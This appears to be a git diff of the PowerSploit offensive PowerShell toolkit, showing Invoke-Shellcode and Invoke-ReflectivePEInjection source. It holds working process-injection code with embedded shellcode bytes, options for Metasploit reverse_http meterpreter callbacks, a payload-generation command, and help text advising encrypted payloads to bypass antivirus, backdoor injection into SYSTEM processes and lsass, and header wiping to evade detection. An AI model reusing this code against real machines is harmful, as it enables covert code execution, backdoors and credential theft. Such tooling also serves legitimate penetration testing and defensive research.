0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
}
if ( $PSBoundParameters['ProcessID'] )
{
# Inject shellcode into the specified process ID
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
Write-Verbose "Injecting shellcode into PID: $ProcessId"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
{
Inject-RemoteShellcode $ProcessId
}
}
else
{
# Inject shellcode into the currently running PowerShell process
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
Write-Verbose "Injecting shellcode into PowerShell"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode into the running PowerShell process!" ) )
{
Inject-LocalShellcode
}
}
}

View File

@ -224,12 +224,10 @@ http://www.exploit-monday.com
$PowerShell32bit = $False $PowerShell32bit = $False
} }
$OSArchitecture = (Get-WmiObject Win32_OperatingSystem).OSArchitecture if (${Env:ProgramFiles(x86)}) {
$64bitOS = $True
switch ($OSArchitecture) } else {
{ $64bitOS = $False
'32-bit' { $64bitOS = $False }
'64-bit' { $64bitOS = $True }
} }
# The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null. # The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
@ -315,9 +313,11 @@ http://www.exploit-monday.com
# Close process handle # Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null $CloseHandle.Invoke($hProcess) | Out-Null
Start-Sleep -Seconds 2
# Extract just the filename from the provided path to the dll. # Extract just the filename from the provided path to the dll.
$FileName = Split-Path $Dll -Leaf $FileName = (Split-Path $Dll -Leaf).ToLower()
$DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.ToLower().Contains($FileName) }
if (!$DllInfo) if (!$DllInfo)
{ {

View File

@ -7,14 +7,12 @@ This script has two modes. It can reflectively load a DLL/EXE in to the PowerShe
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
please lead the Notes section (GENERAL NOTES) for information on how to use them. please lead the Notes section (GENERAL NOTES) for information on how to use them.
1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.
This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
this will load and execute the DLL/EXE in to memory without writing any files to disk. this will load and execute the DLL/EXE in to memory without writing any files to disk.
2.) Reflectively load a DLL in to memory of a remote process. 2.) Reflectively load a DLL in to memory of a remote process.
As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.
@ -22,31 +20,17 @@ This is probably most useful for injecting backdoors in SYSTEM processes in Sess
from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the
remote process. remote process.
While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array
containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will
bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba
blog linked below (thanks to whitey).
PowerSploit Function: Invoke-ReflectivePEInjection PowerSploit Function: Invoke-ReflectivePEInjection
Author: Joe Bialek, Twitter: @JosephBialek Author: Joe Bialek, Twitter: @JosephBialek
Code review and modifications: Matt Graeber, Twitter: @mattifestation
License: BSD 3-Clause License: BSD 3-Clause
Required Dependencies: None Required Dependencies: None
Optional Dependencies: None Optional Dependencies: None
Version: 1.4
.DESCRIPTION .DESCRIPTION
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
.PARAMETER PEPath
The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer.
.PARAMETER PEUrl
A URL containing a DLL/EXE to load and execute.
.PARAMETER PEBytes .PARAMETER PEBytes
A byte array containing a DLL/EXE to load and execute. A byte array containing a DLL/EXE to load and execute.
@ -78,43 +62,41 @@ Optional, the process ID of the remote process to inject the DLL in to. If not i
Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even
if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when
loading in to a remote process. loading in to a remote process.
.PARAMETER DoNotZeroMZ
Optional, will not wipe the MZ from the first two bytes of the PE. This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once.
.EXAMPLE .EXAMPLE
Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc().
Note that the file name on the website can be any file extension.
Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString
.EXAMPLE
Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local $PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local
.EXAMPLE .EXAMPLE
Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
the wchar_t* returned by WStringFunc() from all the computers. the wchar_t* returned by WStringFunc() from all the computers.
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) $PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
.EXAMPLE .EXAMPLE
Load DemoEXE and run it locally. Load DemoEXE and run it locally.
Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" $PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
.EXAMPLE .EXAMPLE
Load DemoEXE and run it locally. Forces ASLR on for the EXE. Load DemoEXE and run it locally. Forces ASLR on for the EXE.
Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR $PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
.EXAMPLE .EXAMPLE
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local $PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local
.EXAMPLE
Load a PE from a byte array.
Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4"
.NOTES .NOTES
GENERAL NOTES: GENERAL NOTES:
@ -134,8 +116,6 @@ The script has 3 basic sets of functionality:
-Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
-Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.
DLL LOADING NOTES: DLL LOADING NOTES:
PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
@ -173,26 +153,15 @@ Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-Refl
.LINK .LINK
Blog: http://clymb3r.wordpress.com/ http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/
#> #>
[CmdletBinding(DefaultParameterSetName="WebFile")] [CmdletBinding()]
Param( Param(
[Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)] [Parameter(Position = 0, Mandatory = $true)]
[String]
$PEPath,
[Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)]
[Uri]
$PEUrl,
[Parameter(ParameterSetName = "Bytes", Position = 0, Mandatory = $true)]
[ValidateNotNullOrEmpty()] [ValidateNotNullOrEmpty()]
[Byte[]] [Byte[]]
$PEBytes, $PEBytes,
@ -218,9 +187,11 @@ Param(
[String] [String]
$ProcName, $ProcName,
[Parameter(Position = 6)]
[Switch] [Switch]
$ForceASLR $ForceASLR,
[Switch]
$DoNotZeroMZ
) )
Set-StrictMode -Version 2 Set-StrictMode -Version 2
@ -736,10 +707,13 @@ $RemoteScriptBlock = {
$ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
$NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP
$NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
}
$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
@ -935,24 +909,12 @@ $RemoteScriptBlock = {
[IntPtr] [IntPtr]
$StartAddress, $StartAddress,
[Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)]
[IntPtr]
$EndAddress,
[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
[IntPtr] [IntPtr]
$Size $Size
) )
[IntPtr]$FinalEndAddress = [IntPtr]::Zero [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
if ($PsCmdlet.ParameterSetName -eq "Size")
{
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
}
else
{
$FinalEndAddress = $EndAddress
}
$PEEndAddress = $PEInfo.EndAddress $PEEndAddress = $PEInfo.EndAddress
@ -2381,7 +2343,7 @@ $RemoteScriptBlock = {
$PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
$OriginalImageBase = $PEInfo.OriginalImageBase $OriginalImageBase = $PEInfo.OriginalImageBase
$NXCompatible = $true $NXCompatible = $true
if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
{ {
Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
$NXCompatible = $false $NXCompatible = $false
@ -2440,7 +2402,7 @@ $RemoteScriptBlock = {
#ASLR check #ASLR check
[IntPtr]$LoadAddr = [IntPtr]::Zero [IntPtr]$LoadAddr = [IntPtr]::Zero
$PESupportsASLR = ($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
if ((-not $ForceASLR) -and (-not $PESupportsASLR)) if ((-not $ForceASLR) -and (-not $PESupportsASLR))
{ {
Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
@ -2900,18 +2862,6 @@ Function Main
Write-Verbose "PowerShell ProcessID: $PID" Write-Verbose "PowerShell ProcessID: $PID"
if ($PsCmdlet.ParameterSetName -ieq "LocalFile")
{
Get-ChildItem $PEPath -ErrorAction Stop | Out-Null
[Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath))
}
elseif ($PsCmdlet.ParameterSetName -ieq "WebFile")
{
$WebClient = New-Object System.Net.WebClient
[Byte[]]$PEBytes = $WebClient.DownloadData($PEUrl)
}
#Verify the image is a valid PE file #Verify the image is a valid PE file
$e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''
@ -2920,10 +2870,12 @@ Function Main
throw 'PE is not a valid PE file.' throw 'PE is not a valid PE file.'
} }
# Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg if (-not $DoNotZeroMZ) {
# TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg
$PEBytes[0] = 0 # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be.
$PEBytes[1] = 0 $PEBytes[0] = 0
$PEBytes[1] = 0
}
#Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1)
if ($ExeArgs -ne $null -and $ExeArgs -ne '') if ($ExeArgs -ne $null -and $ExeArgs -ne '')

View File

@ -1,12 +1,63 @@
# The actual Invoke-Shellcode has moved to Invoke--Shellcode.ps1.
# This was done to make a point that you have no security sense
# if you think it's okay to blindly download/exec code directly
# from a GitHub repo you don't control. This will undoubedtly break
# many scripts that have this path hardcoded. If you don't like it,
# fork PowerSploit and host it yourself.
function Invoke-Shellcode function Invoke-Shellcode
{ {
<#
.SYNOPSIS
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
PowerSploit Function: Invoke-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
.PARAMETER ProcessID
Process ID of the process you want to inject shellcode into.
.PARAMETER Shellcode
Specifies an optional shellcode passed in as a byte array
.PARAMETER Force
Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
.EXAMPLE
C:\PS> Invoke-Shellcode -ProcessId 4274
Description
-----------
Inject shellcode into process ID 4274.
.EXAMPLE
C:\PS> Invoke-Shellcode
Description
-----------
Inject shellcode into the running instance of PowerShell.
.EXAMPLE
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
Description
-----------
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
#>
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( [CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()] [ValidateNotNullOrEmpty()]
@ -18,37 +69,445 @@ function Invoke-Shellcode
[Byte[]] [Byte[]]
$Shellcode, $Shellcode,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateSet( 'windows/meterpreter/reverse_http',
'windows/meterpreter/reverse_https',
IgnoreCase = $True )]
[String]
$Payload = 'windows/meterpreter/reverse_http',
[Parameter( ParameterSetName = 'ListPayloads' )]
[Switch]
$ListMetasploitPayloads,
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateNotNullOrEmpty()]
[String]
$Lhost = '127.0.0.1',
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateRange( 1,65535 )]
[Int]
$Lport = 8443,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[String]
$UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
[Switch] [Switch]
$Force = $False $Force = $False
) )
throw 'Something terrible may have just happened and you have no idea what because you just arbitrarily download crap from the Internet and execute it.' Set-StrictMode -Version 2.0
if ( $PSBoundParameters['ProcessID'] )
{
# Ensure a valid process ID was provided
# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
{
$IntSizePtr = $Architecture / 8
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
{
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
Write-Output $LittleEndianByteArray
}
$CallStub = New-Object Byte[](0)
if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL RAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL RAX
}
else
{
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL EAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL EAX
}
Write-Output $CallStub
}
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
{
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
Throw "Unable to open a process handle for PID: $ProcessID"
}
$IsWow64 = $false
if ($64bitOS) # Only perform theses checks if CPU is 64-bit
{
# Determine if the process specified is 32 or 64 bit
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw 'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.'
}
elseif ($IsWow64) # 32-bit Wow64 process
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Injecting into a Wow64 process.'
Write-Verbose 'Using 32-bit shellcode.'
}
else # 64-bit process
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
}
else # 32-bit CPU
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
# Reserve and commit enough memory in remote process to hold the shellcode
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteMemAddr)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode into the previously allocated memory
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
# Get address of ExitThread function
